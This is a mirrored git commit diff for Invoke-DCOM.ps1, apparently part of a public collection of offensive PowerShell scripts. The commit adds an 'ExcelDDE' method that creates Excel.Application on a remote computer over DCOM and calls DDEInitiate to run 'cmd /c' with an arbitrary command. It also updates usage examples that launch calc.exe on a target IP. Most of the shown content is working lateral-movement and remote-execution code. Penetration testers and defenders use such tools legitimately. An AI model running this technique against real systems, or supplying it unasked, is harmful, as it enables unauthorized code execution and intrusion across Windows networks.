mirror of
https://github.com/rvrsh3ll/Misc-Powershell-Scripts
synced 2026-06-21 14:09:04 +00:00
Update Invoke-DCOM.ps1
This commit is contained in:
+9
-2
@@ -39,7 +39,8 @@ function Invoke-DCOM {
|
||||
.EXAMPLE
|
||||
|
||||
Import-Module .\Invoke-DCOM.ps1
|
||||
Invoke-DCOM -ComputerName '192.168.2.100' -Method MMC20 -Command "calc.exe"
|
||||
Invoke-DCOM -ComputerName '192.168.2.100' -Method MMC20.Application -Command "calc.exe"
|
||||
Invoke-DCOM -ComputerName '192.168.2.100' -Method ExcelDDE -Command "calc.exe"
|
||||
Invoke-DCOM -ComputerName '192.168.2.100' -Method ServiceStart "MyService"
|
||||
#>
|
||||
|
||||
@@ -51,7 +52,7 @@ function Invoke-DCOM {
|
||||
|
||||
[Parameter(Mandatory = $true, Position = 1)]
|
||||
[ValidateSet("MMC20.Application", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart",
|
||||
"DetectOffice","RegisterXLL")]
|
||||
"DetectOffice","RegisterXLL","ExcelDDE")]
|
||||
[String]
|
||||
$Method = "MMC20.Application",
|
||||
|
||||
@@ -182,6 +183,12 @@ function Invoke-DCOM {
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$obj.Application.RegisterXLL("$DllPath")
|
||||
}
|
||||
elseif ($Method -Match "ExcelDDE") {
|
||||
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$obj.DDEInitiate("cmd", "/c $Command")
|
||||
}
|
||||
}
|
||||
|
||||
End {
|
||||
|
||||
Reference in New Issue
Block a user